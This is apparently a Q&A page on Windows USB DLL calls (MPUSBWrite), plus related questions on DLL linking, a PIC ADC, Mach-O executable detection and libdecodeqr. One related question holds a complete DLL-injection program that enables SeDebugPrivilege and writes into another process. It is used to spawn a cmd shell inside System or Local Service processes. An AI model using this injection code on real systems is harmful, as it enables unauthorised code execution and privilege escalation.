Sending instructions to USB device - api

Basically, I am trying to control a USB device (a linear actuator control board) using the supplied DLL (mpusbapi.dll) and header file (mpusbapi.h). However, I can't for the life of me figure out which parameters I need to pass into MPUSBWrite().
In particular, the 2nd, 3rd and 4thparameters of MPUSBWrite(). The first parameter is clearly the handle that is returned by MPUSBOpen() and the last parameter is a timeout in ms.
I have a hunch it has something to do with page 6 of LAC advance config.
Any help is GREATLY appreciated. Thanks!
mpusbapi.h file
#ifndef _MPUSBAPI_H_
#define _MPUSBAPI_H_
#define MPUSB_FAIL 0
#define MPUSB_SUCCESS 1
#define MP_WRITE 0
#define MP_READ 1
// MAX_NUM_MPUSB_DEV is an abstract limitation.
// It is very unlikely that a computer system will have more
// then 127 USB devices attached to it. (single or multiple USB hosts)
#define MAX_NUM_MPUSB_DEV 127
DWORD (*MPUSBGetDLLVersion)(void);
DWORD (*MPUSBGetDeviceCount)(PCHAR pVID_PID);
HANDLE (*MPUSBOpen)(DWORD instance, // Input
PCHAR pVID_PID, // Input
PCHAR pEP, // Input
DWORD dwDir, // Input
DWORD dwReserved); // Input <Future Use>
DWORD (*MPUSBRead)(HANDLE handle, // Input
PVOID pData, // Output
DWORD dwLen, // Input
PDWORD pLength, // Output
DWORD dwMilliseconds); // Input
DWORD (*MPUSBWrite)(HANDLE handle, // Input
PVOID pData, // Input
DWORD dwLen, // Input
PDWORD pLength, // Output
DWORD dwMilliseconds); // Input
DWORD (*MPUSBReadInt)(HANDLE handle, // Input
PVOID pData, // Output
DWORD dwLen, // Input
PDWORD pLength, // Output
DWORD dwMilliseconds); // Input
BOOL (*MPUSBClose)(HANDLE handle);
#endif
LACTesting.cpp file
#include <windows.h> // This is a windows header file. The functions I mentioned above are declared here
#include "mpusbapi.h" // This is the header file supplied. It declares the function prototypes that are defined in the DLL
#include <iostream>
#include "ioctls.h"
using namespace std;
int main(int argc, char* argv)
{
// Try to load the library
HMODULE mpbusDLL = NULL;
mpbusDLL = LoadLibrary(L"mpusbapi.dll");
if (mpbusDLL != NULL) {
// If the library could be loaded, then load the functions using GetProcAddress()
// Load the function 'MPUSBOpen' from the DLL
MPUSBOpen = (HANDLE(*)(DWORD, PCHAR, PCHAR, DWORD, DWORD)) GetProcAddress(mpbusDLL, "_MPUSBOpen");
MPUSBOpen=(HANDLE(*)(DWORD,PCHAR,PCHAR,DWORD,DWORD))GetProcAddress(mpbusDLL,"_MPUSBOpen");
MPUSBGetDLLVersion=(DWORD(*)(void))GetProcAddress(mpbusDLL,"_MPUSBGetDLLVersion");
MPUSBGetDeviceCount=(DWORD(*)(PCHAR))GetProcAddress(mpbusDLL,"_MPUSBGetDeviceCount");
MPUSBWrite=(DWORD(*)(HANDLE,PVOID,DWORD,PDWORD,DWORD))GetProcAddress(mpbusDLL,"_MPUSBWrite");
MPUSBRead=(DWORD(*)(HANDLE,PVOID,DWORD,PDWORD,DWORD))GetProcAddress(mpbusDLL,"_MPUSBRead");
MPUSBReadInt=(DWORD(*)(HANDLE,PVOID,DWORD,PDWORD,DWORD))GetProcAddress(mpbusDLL,"_MPUSBReadInt");
MPUSBClose=(BOOL(*)(HANDLE))GetProcAddress(mpbusDLL,"_MPUSBClose");
}
//If the DLL didn't load, let me know!
else cout<<"DLL didn't load"<<endl;
//Declarations
HANDLE LACHandle;
PCHAR pipeName=MCHPUSB_PIPE_NAME;// intializes pipeName to "\\MCHP_EP"
PCHAR VidPid="vid_04d8&pid_fc5f";
LACHandle=MPUSBOpen(0,VidPid,pipeName,1,0);//open device connection
//Not sure if I pass in the correct arguements for MBUSBOpen. VidPid and pipeName are correct.
cout<<"Device ID "<<VidPid<<"is open with "<<MPUSBGetDeviceCount(VidPid)<<" device(s)."<<endl;
//sMPUSBWrite(LACHandle,,3,,1000); <- this is where I am having issues.
//I can't figure out how to use MPUSBWrite
MPUSBClose(LACHandle);// closes device connection
}

I think you should take a look at
Win32 Data Types
then work on Windows System Programming samples, then you will clearly understand the logic.
To your question, as i see the code i can guess
// yourData which want to write
PVOID pData
// sizeof(yourData) google "sizeof"
DWORD dwLen
/* I have no idea about this, but its output you can see it
after running function */
PDWORD pLength
Hope this helps

Related

How to call upon a .dll file from C++ and extract the functions of it?

I would like to know the proper procedure for calling a .dll file with also having a .cpp and .h files for a certain application. I have a program which is the .cpp file with different .h header files and I also included the .dll file into the folder where the .cpp and .h files are located. I would like to know in the .cpp code how am I able to call upon this .dll file since inside of it there are different functions that will allow a DDC264 Evaluation Board to read data from memory through usb and extract the data. I am using a program called DevC++ and I am receiving a current Error which is [Id] returned 1 exit status and MakefileWin has changed.
Attached below is a snippit of the .cpp code:
I also would like to know how to fix both of these errors .enter image description hereenter image description here
// USB_IO_for_VB6.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "USB_IO_For_VB6.h"
#include "CyAPI.h"
#include <cstring>
#include <malloc.h>
#include "BASETSD.H"
#include <math.h>
#include <stdio.h>
// #include <string.h>
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// This is an example of an exported variable
//int USB_IO_FOR_VB6_EXPORTS int USB_IO_for_VB6_API =22;
I
USB_IO_FOR_VB6_API int nUSB_IO_for_VB6 = 22;
#define STRINGLEN 65536 //the larger this number is, the faster the data is shifted in.
#define MAX_CHANNELS_FAST 4096 // 2048= 1024A + 1024B
#define DBP 0 //debug print - 1 enables writing some information to a file in "C:\temp\"
// This function reads the device descriptors from the Cypress USB Chip(s).
// It returns arrays of values, one set of values per device detected.
// The user can then use the visual basic software to select which device to use.
int __stdcall ReadDeviceDescriptors(int *USBdevCount, int *bLengthPass, int *bDescriptorTypePass,
long *bcdUSBPass, int *bDeviceClassPass, int *bDeviceSubClassPass,
int *bDeviceProtocolPass, int *bMaxPacketSize0Pass, long *idVendorPass,
long *idProductPass, long *bcdDevicePass, int *iManufacturerPass,
int *iProductPass, int *iSerialNumberPass, int *bNumConfigurationsPass)
{
CCyUSBDevice *USBDevice;
USB_DEVICE_DESCRIPTOR descr;
USBDevice = new CCyUSBDevice(NULL); // Create an instance of CCyUSBDevice
USBdevCount[0] = USBDevice->DeviceCount();
for (int i=0; i < USBDevice->DeviceCount(); i++)
{
if (USBDevice->Open(i))
{
USBDevice->GetDeviceDescriptor(&descr);
bLengthPass[i]=descr.bLength;
bDescriptorTypePass[i]=descr.bDescriptorType;
bcdUSBPass[i]=descr.bcdUSB;
bDeviceClassPass[i]=descr.bDeviceClass;
bDeviceSubClassPass[i]=descr.bDeviceSubClass;
bDeviceProtocolPass[i]=descr.bDeviceProtocol;
bMaxPacketSize0Pass[i]=descr.bMaxPacketSize0;
idVendorPass[i]=descr.idVendor;
idProductPass[i]=descr.idProduct;
bcdDevicePass[i]=descr.bcdDevice;
iManufacturerPass[i]=descr.iManufacturer;
iProductPass[i]=descr.iProduct;
iSerialNumberPass[i]=descr.iSerialNumber;
bNumConfigurationsPass[i]=descr.bNumConfigurations;
USBDevice->Close();
}
}
return( USBdevCount[0] );
}
I am not sure about how to go about calling a .dll file in C++, I am fairly new to Object Oriented programming.
Regarding the MakefileWin error I tried changing the TDM-GCC release version from 32 to 64 bits and the error continues.
I also tried deleting the dllmain.cpp which is another cpp file that is not needed and moving another original.cpp file from the folder that is shown in one of the images.
I only have a single .cpp file running on my DevC++ compiler which I thought would not cause the Error [Id] returned 1 to exit status to pop up.

PIC16F877 display the result of ADC on LEDs with C language using MPLAB

I used PIC16F877 and my purpose is to choose CHANNEL 4 to display the analogue input AN4 value on PortD leds. The approximate value is about 1V. I wrote a code and however, no matter how I ran my code, there're not reaction with the GPIO monitor.
By the way, do I write ReadADC1() in the while(1){} loop? I tried that, but there's no help. Thanks.
#include <xc.h>
#define LEDs PORTD
#include "prologue.c"
unsigned char ReadADC1(void) {
ADCON0 |= 0b00000010;
while ( (ADCON0 & 0b00000010) );
return ADRESH;
}
main ()
{
// declare variables if any required
TRISA= 0B00100000;
ANSEL=0B00010000;
ADCON0 = 0b11010001;
ADCON1 = 0b10000000;
LEDs=ReadADC1();
//*** your code for initialisation if required
//*** end of your initialisation
//*** your code for the superloop
while (1) {
}
//*** end of the superloop
}
There's no reaction with the GPIO pins monitor. I restarted the IDE many times.
By default all ports are configured as an input. If you want want use a port as an output you had to change the configuration:
TRISD = 0x00;
Another issue:
There is no ANSEL register in this controller, you had to do the selection (digital or analog input) with ADCON1register.

Objective C - How to check if Executable can be launched (eg. terminal)

I am currently building an Executable handling application in Objective C and I just wanna know a simple code that can determine if an executable file can be launched (without launching it) or if it is just a loadable one.
Thanks.
Once you've taken care of permission bits and whether the file is a Mach-O, there are three things you need to consider:
File type
CPU compatibility
Fat binaries
File type
Whether your Mach-O is an executable, dylib, kext, etc., can be determined from a field in its header.
From <mach-o/loader.h>:
struct mach_header {
uint32_t magic;
cpu_type_t cputype;
cpu_subtype_t cpusubtype;
uint32_t filetype; // <---
uint32_t ncmds;
uint32_t sizeofcmds;
uint32_t flags;
};
Also from <mach-o/loader.h> you get all possible values for that field:
#define MH_OBJECT 0x1 /* relocatable object file */
#define MH_EXECUTE 0x2 /* demand paged executable file */
#define MH_FVMLIB 0x3 /* fixed VM shared library file */
#define MH_CORE 0x4 /* core file */
#define MH_PRELOAD 0x5 /* preloaded executable file */
#define MH_DYLIB 0x6 /* dynamically bound shared library */
#define MH_DYLINKER 0x7 /* dynamic link editor */
#define MH_BUNDLE 0x8 /* dynamically bound bundle file */
#define MH_DYLIB_STUB 0x9 /* shared library stub for static linking only, no section contents */
#define MH_DSYM 0xa /* companion file with only debug sections */
#define MH_KEXT_BUNDLE 0xb /* x86_64 kexts */
CPU compatibility
Just because it says "executable", doesn't mean it can be launched though. If you take an iOS app and try to execute it on your iMac, you'll get a "Bad CPU type in executable" error message.
The different CPU types are defined in <mach/machine.h>, but the only of comparing against the current CPU type is via defines:
#include <mach/machine.h>
bool is_cpu_compatible(cpu_type_t cputype)
{
return
#ifdef __i386__
cputype == CPU_TYPE_X86
#endif
#ifdef __x86_64__
cputype == CPU_TYPE_X86 || cputype == CPU_TYPE_X86_64
#endif
#ifdef __arm__
cputype == CPU_TYPE_ARM
#endif
#if defined(__arm64__)
cputype == CPU_TYPE_ARM || cputype == CPU_TYPE_ARM64
#endif
;
}
(This will only work if your application has 64-bit slices, so that it always runs as 64-bit when it can. If you want to be able to run as a 32-bit binary and detect whether a 64-bit binary could be run, you'd have to use sysctl on "hw.cpu64bit_capable" together with defined, but then it gets even uglier.)
Fat binaries
Lastly, your binaries could be enclosed in fat headers. If so, you'll simply need to iterate over all slices, find the one corresponding to your current architecture, and check the two conditions above for that.
Implementation
There is no Objective-C API for this that I know of, so you'll have to fall back to C.
Given a pointer to the file's contents and the is_cpu_compatible function from above, you could do it like this:
#include <stdbool.h>
#include <stddef.h>
#include <mach-o/fat.h>
#include <mach-o/loader.h>
bool macho_is_executable(char *file)
{
struct fat_header *fat = (struct fat_header*)file;
// Fat file
if(fat->magic == FAT_CIGAM) // big endian magic
{
struct fat_arch *arch = (struct fat_arch*)(fat + 1);
for(size_t i = 0; i < fat->nfat_arch; ++i)
{
if(is_cpu_compatible(arch->cputype))
{
return macho_is_executable(&file[arch->offset]);
}
}
// File is not for this architecture
return false;
}
// Thin file
struct mach_header *hdr32 = (struct mach_header*)file;
struct mach_header_64 *hdr64 = (struct mach_header_64*)file;
if(hdr32->magic == MH_MAGIC) // little endian magic
{
return hdr32->filetype == MH_EXECUTE && is_cpu_compatible(hdr32->cputype);
}
else if(hdr64->magic == MH_MAGIC_64)
{
return hdr64->filetype == MH_EXECUTE && is_cpu_compatible(hdr64->cputype);
}
// Not a Mach-O
return false;
}
Note that these are still rather basic checks though, which will e.g. not detect corrupt Mach-O's, and which could easily be fooled by malicious files. If you wanted that, you would have to either emulate an operating system and launch the binary within, or get into the research field of theoretical IT and revolutionize the mathematics of provability.
My understanding is you want to distinguish a Mach-O standalone executable from a Mach-O dyld library. A standalone executable will use either:
LC_MAIN load command to denote the entry point, supported since MacOS 10.7
LC_UNIXTHREAD load command , older non-dyld approach to do the same (still supported)
A dyld library will not have either of these Mach-O load commands, so if you detect one of them it means it's a runnable standalone executable. That of course does not imply the binary executable is valid and kernel won't kill it for other reasons.
If you want inspect some test files to verify it I recommend using a free tool called MachOView

Dll injection with RltCreateUserThread

i have written a program to inject dll.
i am using RltCreateUserThread. can someone tell me what i am doing wrong in here. I am able to inject the dll in processes but the injected dll spawns a cmd shell when injected to a process that is same as my current privileges but when i inject them into System/Local Service account processes it doesnot spwan a shell. i am using cmd.dll from Didier Stevens site which is from ReactOS. I am trying to do it from Windows 7 32 Bit.
#include <Windows.h>
#include <stdio.h>
#include <stdbool.h>
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef long (*_RtlCreateUserThread)(HANDLE,
PSECURITY_DESCRIPTOR,
BOOLEAN,ULONG,
PULONG,PULONG,
PVOID,PVOID,
PHANDLE,PCLIENT_ID);
_RtlCreateUserThread RtlCreateUserThread;
int main(){
HANDLE hThd, hModule;
CLIENT_ID cid;
DWORD pid;
char * dll="cmd.dll";
HMODULE ntdll=LoadLibrary("ntdll.dll");
HMODULE k32=LoadLibrary("kernel32.dll");
RtlCreateUserThread=GetProcAddress(ntdll,"RtlCreateUserThread");
printf( "Enter pid :");
scanf("%u", &pid);
LUID luid;
HANDLE token_handle;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid);
TOKEN_PRIVILEGES tp;
tp.Privileges[0].Luid=luid;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tp.PrivilegeCount=1;
OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&token_handle);
AdjustTokenPrivileges(token_handle,false,&tp,sizeof(tp),NULL,NULL);
HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,false,pid);
LPVOID vaex=VirtualAllocEx(hProc,NULL,strlen(dll) + 1,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc,vaex,dll,strlen(dll),NULL);
RtlCreateUserThread(hProc,NULL,false,0,0,0,(PVOID)GetProcAddress(k32,"LoadLibraryA"),vaex,&hThd,&cid);
WaitForSingleObject(hThd,INFINITE);
CloseHandle(hThd);
CloseHandle(hProc);
FreeLibrary(k32);
FreeLibrary(ntdll);
return 0;
}
thanks,
Raja.
You cannot inject into system processes which have Protected Process Light protection.
Read Evolution of PPL and PPL Killer
This is a new protection mechanism since Windows 8/8.1

Where can I find libdecodeqr.lib?

I am creating a QR code scanner program in C++ using the library called libdecodeqr.
I downloaded all the files from https://github.com/josephholsten/libdecodeqr and I modified one of the test programs. However, I keep getting the error "unresolved external symbol". It's because I have not linked the libraries.
But I can't find libdecodeqr.lib anywhere! It's not included in the GitHub package and it's nowhere online!
In the instructions on the GitHub page, it says to add decodeqr.h, qrtypes.h, qrerror.h and libdecodeqr.lib to my environment. Other than the .lib file, I have added all those files to my environment.
Where can I find libdecodeqr.lib?
Also, here is the sample program I modified and am testing:
#include <stdio.h>
#include "opencv2/core/core.hpp"
#include "opencv2/imgproc/imgproc.hpp"
#include "opencv2/highgui/highgui.hpp"
#include "C:/Users/Asish/Documents/libdecodeqr-master/libdecodeqr/decodeqr.h"
#include "C:/Users/Asish/Documents/libdecodeqr-master/libdecodeqr/qrerror.h"
#include "C:/Users/Asish/Documents/libdecodeqr-master/libdecodeqr/qrtypes.h"
#include "bitstream.h"
using namespace cv;
int main(int argc, char *argv[])
{
namedWindow("src", 1);
//
// load image
//
Mat src_old = imread("qrTest.png", 1);
IplImage* src = new IplImage(src_old);
imshow("src", src_old);
//
// show version info
//
printf("libdecodeqr version %s\n", qr_decoder_version());
//
// initialize
//
QrDecoderHandle decoder = qr_decoder_open();
//
// do decode using default parameter
//
short stat = qr_decoder_decode_image(decoder, src);
printf("STATUS=%04x\n", stat);
//
// get QR code header
//
QrCodeHeader header;
if (qr_decoder_get_header(decoder, &header)){
//
// get QR code text
// To null terminate, a buffer size is larger than body size.
//
char *buf = new char[header.byte_size + 1];
qr_decoder_get_body(decoder, (unsigned char *)buf, header.byte_size + 1);
printf("%s\n", buf);
}
//
// finalize
//
qr_decoder_close(decoder);
puts("");
puts("Hit any key to end.");
cvWaitKey(0);
destroyAllWindows();
cvReleaseImage(&src);
return(0);
}
You are downloading the source code from GitHub, which means that you also need to create a new VisualStudio C++ project to compile your own libdecodeqr.lib (or dll). This will require you also install OpenCV in your computer.